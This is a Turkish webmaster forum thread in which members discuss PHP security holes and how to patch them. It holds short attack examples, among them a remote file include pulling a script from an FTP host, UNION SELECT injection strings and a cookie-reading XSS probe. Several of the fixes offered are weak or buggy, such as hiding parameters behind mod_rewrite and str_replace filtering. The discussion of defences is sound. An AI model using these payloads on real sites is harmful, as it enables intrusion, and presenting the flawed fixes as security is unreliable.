İyinet'e Hoşgeldiniz!

Türkiye'nin En Eski Webmaster Forum'una Hemen Kayıt Olun!

Kayıt Ol!

PHP aciklari/bugs

iyinet

Root
Admin
Hosting Firması
Katılım
2 Eylül 2002
Mesajlar
5,030
Reaction score
73
Konum
Sakarya
Gun gecmiyor ki bir yazilimda acik cikmasin. (Turkiyede cok televizyon seyrettim boyle medyatik oldum!)

Ornegin vbulletin yaziliminda bir acik bulunuyor ve ardindan yama cikiyor.
Benim merak ettigim bu aciklar ve yamalar hakkinda teknik detayli bilgi herhangi bir yerde yayinlaniyor mu?

Ben de kod yaziyorum, ve kodlarimda guvenlik acigi vardir korkusu ile kodlarimi paylasmiyorum, paylasinca baskasi acigi bulup aciktan faydalanir diye korkuyorum.

Ama boyle olunca da kendimi gelistiremiyorum, acikcasi bu aciklari (acik var demiyorum, belki var belki de yok) kapatmayi ogrenmek istiyorum. Yada diger bir deyisle once aciklari tesbit etmek sonra da sorun varsa gidermek istiyorum.

Bu baslik altinda, PHP nin aciklari konusunda bilgisi olanlari, paylasima davet ediyorum. Detay ve somut ornekler ile.
 

Caesar

0
İyinet Üyesi
Katılım
5 Haziran 2006
Mesajlar
1,894
Reaction score
7
açık 1: include hatasi
PHP:
$dosya=$_GET['git'];
if ($dosya) {
include "$dosya.php";
}
Saldırı şekli http://www.site.com/index.php?git=ftp://kullanici:[email protected]/www/hek.php

Saldırı 2 SQL injection:
PHP:
$veri=$_GET['veri'];
$sorgu=mysql_query("select * from tablo where field='$veri'");
Saldırı: index.php?veri=' yada index.php?veri=/**UNION**SELECT**HEDE*HODO**/

bunlar sadece en kucuk ornekler.
 

iyinet

Root
Admin
Hosting Firması
Katılım
2 Eylül 2002
Mesajlar
5,030
Reaction score
73
Konum
Sakarya
Tesekkurler Caesar, aslina bakarsan bunlardan haberdarim, ama buffer overflow, cross-site script gibi seyler var... Ornegin "if" satirinda bir degiskenin onune (int) koyulmadigi icin acik olusmustu...
 

Caesar

0
İyinet Üyesi
Katılım
5 Haziran 2006
Mesajlar
1,894
Reaction score
7
ornegin baska bir acikta cookie yonetimi

index.php?git=<script>alert(document.cokkie);</script> tarzi saldirilardan kurtulmak için;
PHP:
$git=$_GET['git'];
$git=str_replace("<","<",$git);
$git=str_replace(">",">",$git);
kullanmak ta yarar var.
 

Caesar

0
İyinet Üyesi
Katılım
5 Haziran 2006
Mesajlar
1,894
Reaction score
7
aslinda su sekilde diyim acigin ne zaman birakilacagi hiç belli olmuyor ornegin ben trislem sözlüğü bitirdikten sonra profesyonel olarak acik bulmakla ugrasan 5 kisinin onune test olarak koydum. gözümden kaçan birşeyler olmuş olabilir diğe. 15 gun boyunca bulunan aciklari kapadim. ama 1 ay sonra tekrardan bir acik cikabildi. göreceli şeyler bunlar. görüp çözüm bulmak bir daha o hatayi yapmamana neden oluyor.
 
K

kepche

Misafir
benim açık çıkmasın diye genelde uğraştığım alanlardan birkaçı:

Senaryo:Kullanıcı adı ve şifre kontrolü
Yukarıda bahsedildiği üzere, gelen veriyi direk olarak sql sorgusuna sokmak büyük sorunlara yol açabilir. Kurtulmak için, gelecek veri tipine göre, reg-ex kullanılabilir.

Senaryo:Ziyaretçi defteri
en basitinden, girilecek html kodları sorun olabilir. ( gelen girdiler sayfaya yazdırılacağı için, yine yukarıda bahsedildiği gibi, cookieler vs. okunabilir, hatta abartıp, insanlar iframe filan açabilir sayfanızda :) bunun için str_replace(), ya da htmlspecialchars() fonksiyonları kullanılabilir. )

Senaryo:register_globals değeri on..
Kod yazmaya üşenmek yerine, değerler $_GET, $_POST vs. şeklinde okunarak kolayca kurtulabilirsiniz. ( tabiki register_globals i off yapmanızı tavsiye ediyorum her zamanki gibi :) )

aklıma farklı senaryolar gelirse eklerim..
 

Caesar

0
İyinet Üyesi
Katılım
5 Haziran 2006
Mesajlar
1,894
Reaction score
7
Dosya include güvenliği için en uygun yöntem;
Dosyalarımızı atacağımız klasorun adi; inc/
Kodumuz;
PHP:
$git=$_GET['git'];
if ($git) {
 $git=str_replace("<","lamer+miyim+neyim+ben",$git);
 $git=str_replace("'","evet+lamer+misim",$git);
 $git=str_replace("http","bu+kadari+da+yeter+artik",$git);
 if (file_exists("/inc/$git.php") {
  include "/inc/$git.php";
 } else {
  header("Location: index.php");
 }
} else {
 include "main.php";
}
/inc/index.php yide yaratip klasoru listelememi için içinde
PHP:
header("location: ../index.php");
attik mi miss gibi olur.
 

dsgnr

0
İyinet Üyesi
Katılım
22 Mart 2006
Mesajlar
1,144
Reaction score
1
Konum
dev
en güzel yöntem .htaccess rewitemodedir..

index.php?git=adad&veri=2323 uzantısını kullanıcıya göstermek zaten binevi al kullan istediğini yap demektir.

bunu
adad-2323.xza olarak göstertirsek siteye giren LAMER ler git ve veri değişkenlerini göremeyecekler ve kullanamayadaklardır. $_POST ile gelen veriler için de yine .htaccess ile sayfaya dışarıdan erişimi yasaklamakla işi tamamlamış olabiliriz.



bunlar haricinde SQL tablolarımızın hücrelerimizin ve PHP değişkenlerimizin adlarını da kendimizce yeni isimlere bürümek bu işte ayrı bir artı olacaktır.

ör herkes 'id' diyor ben buna 'idcik' derim. gibi.
$git yerine $nasnas gibi.

bunların yanında global değişkenleri de kullanır $_GET ve $_POST verilerini belirtirsek iş dahada güzel bir hale gelecektir.
 

captainzap

0
İyinet Üyesi
Katılım
1 Aralık 2005
Mesajlar
0
Reaction score
0
güvenlik için en çok kullandığım php fonksiyonları

addslashes(sql sorgularında verileri güvenli hale getiriyor) ve is_numeric(?hode_id= bla bla olmasnı engellemek için yani sadece numara girilmesini sağlıyoruz bu da önemli) bunları kullanmanızda fayda var
 

dsgnr

0
İyinet Üyesi
Katılım
22 Mart 2006
Mesajlar
1,144
Reaction score
1
Konum
dev
ör :

.htaccess
PHP:
RewriteEngine On
RewriteRule ^sayfa-(.*)--(.*).html$ index.php?idcik=$1&vericik=$2 [L,NC]

bunu .htaccess yaptık.

index.php
PHP:
<?
$idcik = htmlentities($_GET['$idcik']);
$vericik = htmlentities($_GET['vericik']);
if(@$vericik != '' AND $idcik != '')
{
echo $idcik." ve ".$vericik." : bunlar verilerdir :)";
}
else
{
echo "<a href='sayfa-123--321.html'>";
echo "tamammi</a>";
}
?>


bunlarda değişkenlerimizin idcik ve vericik olduğunu kimse bilemez...
 

dsgnr

0
İyinet Üyesi
Katılım
22 Mart 2006
Mesajlar
1,144
Reaction score
1
Konum
dev
+ olarak sayfanızdaki verilerin preg_mach_all gibi fonksiyonlarla alınamaması için değişkenlerinizi id gibi sayı değerlerinden ziyade a5w4q6 gibi gizli değişkenlerle çektirmenizdir.

Örnek verecek olursak.

index.php?id=1231

gibi bir değerle verileri gösteren bir siteden istenilen verileri
PHP:
<?
$sirala = $_GET['sira'] + 1;
$ilerle = index.php?id=$sirala
?>
<meta http-equiv="refresh" content="0;url=<?=$ilerle;?>">

ile sürekli +1 id ile giderek alabilirler.
 

Caesar

0
İyinet Üyesi
Katılım
5 Haziran 2006
Mesajlar
1,894
Reaction score
7
modrewrite hiç bir zaman tamamen engelleyemez. modrewrite nin algoritmasını çözmek maksimum 5 dk surmektedir. onun için guvenliği normal moda göre alip daha sonra dilenirse modrewrite yapilabilir. ben şu anki sayfalarımın hiç birinde modrewrite kullanmıyorum açıkda bırakmıyorum.
 

Caesar

0
İyinet Üyesi
Katılım
5 Haziran 2006
Mesajlar
1,894
Reaction score
7
sayfa-123--321.html

$1=123
$2=321 diy mi? o zaman sql injection varsa

sayfa--'--'.html dersek ne olur?

yada

sayfa--'--/**UNION**SELECT**id**FROM**TABLO**/.html gibi?
 

dsgnr

0
İyinet Üyesi
Katılım
22 Mart 2006
Mesajlar
1,144
Reaction score
1
Konum
dev
iide sen o sayfanın rewite mode ile yapıldığını nerden bileceksin ?
 

Caesar

0
İyinet Üyesi
Katılım
5 Haziran 2006
Mesajlar
1,894
Reaction score
7
deneme yanılma şeklinde bir olay vardir değil mi?
 

dsgnr

0
İyinet Üyesi
Katılım
22 Mart 2006
Mesajlar
1,144
Reaction score
1
Konum
dev
:) o çok sonlarda bir vaka...

rewitemode bana ait olduğu için ben istediğim gibi yönetirim.

sayfa-123--321.html yaptığım sayfamda .htaccess ile 123 yerine 0-9 arası bir sayı değeri hariç hiçbir değeri okuma derim.
 

Caesar

0
İyinet Üyesi
Katılım
5 Haziran 2006
Mesajlar
1,894
Reaction score
7
ben 123 ü ne yapayım oraya ' yada Union gireceğim :) isterse harf olsun orası no problemo
 

dsgnr

0
İyinet Üyesi
Katılım
22 Mart 2006
Mesajlar
1,144
Reaction score
1
Konum
dev
.html içine girdiğin o karakterler geçersiz kalacaktır. :)
 

Türkiye’nin ilk webmaster forum sitesi iyinet.com'da forum üyeleri tarafından yapılan tüm paylaşımlardan; Türk Ceza Kanunu’nun 20. Maddesinin, 5651 Sayılı Kanununun 4. maddesinin 2. fıkrasına göre, paylaşım yapan üyeler sorumludur.

Üst